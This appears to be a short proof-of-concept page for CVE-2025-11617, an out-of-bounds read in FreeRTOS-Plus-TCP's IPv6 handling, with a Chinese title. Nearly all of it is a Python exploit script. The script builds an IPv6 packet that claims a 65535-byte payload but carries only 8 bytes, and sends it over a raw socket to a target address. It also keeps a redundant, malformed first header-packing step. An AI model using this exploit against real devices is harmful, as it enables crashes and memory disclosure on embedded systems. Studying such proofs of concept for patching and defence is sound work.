CVE-2025-11617：FreeRTOS-Plus-TCP IPv6数据包处理越界读取漏洞

# CVE-2025-11617 PoC - FreeRTOS-Plus-TCP IPv6 OOB Read # This PoC demonstrates crafting a malicious IPv6 packet with incorrect payload length # to trigger out-of-bounds read in FreeRTOS-Plus-TCP IPv6 processing code. import socket import struct def craft_malicious_ipv6_packet(target_ip="fe80::1"): """ Craft an IPv6 packet with an oversized payload length field to trigger OOB read in vulnerable FreeRTOS-Plus-TCP versions. """ # IPv6 Header format: # Version (4 bits) | Traffic Class (8 bits) | Flow Label (20 bits) # Payload Length (16 bits) | Next Header (8 bits) | Hop Limit (8 bits) # Source Address (128 bits) # Destination Address (128 bits) version_tc_fl = 0x60000000 # Version 6, TC=0, Flow Label=0 actual_payload_len = 8 # Actual payload is only 8 bytes malicious_payload_len = 65535 # Claimed payload length is maximum (OOB trigger) next_header = 59 # No next header (ICMPv6=58, TCP=6, UDP=17) hop_limit = 64 src_addr = socket.inet_pton(socket.AF_INET6, "fe80::2") dst_addr = socket.inet_pton(socket.AF_INET6, target_ip) # Build IPv6 header with malicious payload length ipv6_header = struct.pack( "!IHBB", version_tc_fl | (malicious_payload_len & 0xFFFF), 0, # Upper part combined above next_header, hop_limit ) # Note: struct packing adjusted for proper header layout ipv6_header = struct.pack( "!IHBB16s16s", version_tc_fl, malicious_payload_len, next_header, hop_limit, src_addr, dst_addr ) # Actual small payload (only 8 bytes) payload = b"\x41" * actual_payload_len # Create raw socket and send try: sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_HDRINCL, 1) sock.sendto(ipv6_header + payload, (target_ip, 0)) print(f"[*] Malicious IPv6 packet sent to {target_ip}") print(f"[*] Claimed payload length: {malicious_payload_len}") print(f"[*] Actual payload length: {actual_payload_len}") except PermissionError: print("[!] Need root/admin privileges to send raw IPv6 packets") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": craft_malicious_ipv6_packet()